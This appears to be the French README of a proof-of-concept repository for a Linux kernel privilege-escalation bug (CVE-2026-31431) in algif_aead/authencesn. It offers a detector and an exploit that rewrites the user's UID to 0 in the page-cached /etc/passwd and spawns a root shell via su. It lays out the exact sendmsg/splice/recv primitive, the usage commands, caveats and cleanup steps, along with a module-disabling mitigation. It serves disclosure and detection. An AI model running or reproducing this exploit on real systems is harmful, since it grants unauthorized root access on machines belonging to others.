
Exploit POC for CVE_2026_31431
Détecteur et preuve de concept d'élévation de privilèges (LPE) pour le bogue d'écriture de scratch dans le cache de pages Linux algif_aead / authencesn divulgué le 29/04/2026.
Article de divulgation : https://xint.io/blog/copy-fail-linux-distributions
Utilisez uniquement sur des machines dont vous êtes propriétaire ou pour lesquelles vous avez été explicitement mandaté pour effectuer une évaluation. Le LPE modifie l'état en mémoire (cache de pages), mais la technique est une véritable escalade de privilèges — l'exécuter sur des systèmes sans autorisation est illégal dans la plupart des juridictions.
algif_aead exécute les opérations AEAD en place (req->src == req->dst). Lorsque les données source sont fournies via splice() depuis un fichier normal, la liste de dispersion de destination contient des références aux pages du cache de pages du fichier — c'est-à-dire que le noyau écrit dans ces pages. L'algorithme authencesn(hmac(sha256), cbc(aes)) effectue ensuite une écriture de scratch de 4 octets du champ seqno_lo de l'AAD (octets 4 à 7 de l'AAD fourni par sendmsg) dans cette destination, corrompant la copie du fichier dans le cache de pages.
Étant donné que le fichier sur disque n'est jamais modifié, il n'y a pas de signature sur disque ; la corruption n'est observée que par les lecteurs qui partagent le cache de pages. /etc/passwd et /usr/bin/su sont tous deux lisibles par tous, donc un utilisateur local non privilégié peut corrompre la vue du noyau en cours sur l'un ou l'autre.
Affectés : noyaux portant le commit 72548b093ee3 (AEAD en place, 2017) sans le revert en amont. La divulgation a confirmé Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3 et SUSE 16, mais la primitive sous-jacente est antérieure à cette fourchette.
| Fichier | Objectif |
|---|---|
test_cve_2026_31431.py | Détecteur non destructif. Fonctionne sur un fichier sentinelle dans un répertoire temporaire ; ne touche jamais aux binaires système. |
exploit_cve_2026_31431.py | LPE. Remplace l'UID de l'utilisateur courant par 0 dans le cache de pages de /etc/passwd, puis invoque su pour un shell root. |
Les deux scripts sont du Python 3.10+ pur, bibliothèque standard uniquement.
# 1. Detect
python3 test_cve_2026_31431.py
# exit 0 = not vulnerable, 2 = vulnerable, 1 = test error
# 2. Exploit (interactive — su will prompt for your own password)
python3 exploit_cve_2026_31431.py --shell
python3 test_cve_2026_31431.py
Ce qu'il fait :
AF_ALG et l'algorithme authencesn(hmac(sha256),cbc(aes)) sont accessibles depuis un processus non privilégié.sendmsg+cmsg avec seqno_lo défini sur le marqueur PWND, puis utilise os.splice() pour splice 32 octets de la page du cache de pages de la sentinelle dans la socket d'opération AF_ALG.recv() pour déclencher le déchiffrement. La vérification d'authentification échoue avec EBADMSG ; l'écriture de scratch a lieu quoi qu'il arrive.Classes de sortie :
Precondition not met — AF_ALG ou authencesn indisponible. Code de sortie 0.VULNERABLE to CVE-2026-31431 — le marqueur PWND a atterri dans la page splicée. Code de sortie 2.Page cache MODIFIED via in-place AEAD splice path — la page a été écrite mais le marqueur n'a pas atterri à la position attendue. À traiter comme vulnérable. Code de sortie 2.Page cache intact — corrigé. Code de sortie 0.Le détecteur ne touche jamais à /usr/bin/su, /etc/passwd ni à aucun autre fichier en dehors du répertoire temporaire qu'il crée, et ce fichier est supprimé à la sortie.
python3 exploit_cve_2026_31431.py # patch only, print next steps
python3 exploit_cve_2026_31431.py --shell # patch and exec `su <user>`
Ce qu'il fait :
/etc/passwd et trouve le décalage en octets du champ UID à 4 caractères.write4 à ce décalage, remplaçant l'UID par 0000.pwd.getpwnam(user) pour confirmer que libc rapporte désormais l'UID 0.--shell, exécute execvp("su", ["su", user]). Saisissez votre propre mot de passe. PAM valide via /etc/shadow (non modifié), puis setuid(getpwnam(user).pw_uid) atterrit à 0.write4 en conséquence.nscd, sssd, systemd-userdbd) ne masque les lectures de /etc/passwd. Si getpwnam renvoie encore le véritable UID après le patch, redémarrez ou contournez le cache, ou choisissez un autre utilisateur./etc/passwd doit rester dans le cache entre l'application du patch et l'exécution de su. En pratique, cela est fiable sur tout système soumis à une pression mémoire normale.Le fichier /etc/passwd sur disque est inchangé.
Essai (exploit_cve_2026_31431.py sans --shell) : la page corrompue est automatiquement éjectée à la sortie via POSIX_FADV_DONTNEED, donc les correspondances UID→nom redeviennent normales immédiatement.
Après --shell, la page reste corrompue jusqu'à ce que vous la nettoyiez. Pendant qu'elle est corrompue, toute résolution de l'UID 1000 en nom (par exemple ls, gestionnaires de fichiers, vérifications de propriété scp/sftp) échouera ou affichera des ID numériques. Pour nettoyer :
# unprivileged - request page-cache eviction for /etc/passwd:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# from the root shell:
echo 3 > /proc/sys/vm/drop_caches
Un redémarrage nettoie également.
write4sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; scratch write has already landed
Les 4 octets des positions 4 à 7 de l'AAD (seqno_lo) sont écrits par authencesn dans la liste de dispersion de destination, qui sur ce chemin de code est la page du cache de pages que nous avons splicée depuis target_fd. Le décalage d'atterrissage dans la page correspond au offset_src passé à splice().
En attendant que le noyau corrigé arrive sur votre distribution :
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
Après application, test_cve_2026_31431.py devrait rapporter Precondition not met et sortir avec le code 0.
Le correctif en amont restaure les opérations AEAD en place en opérations hors place, empêchant les pages du cache de pages de se retrouver dans des listes de dispersion inscriptibles.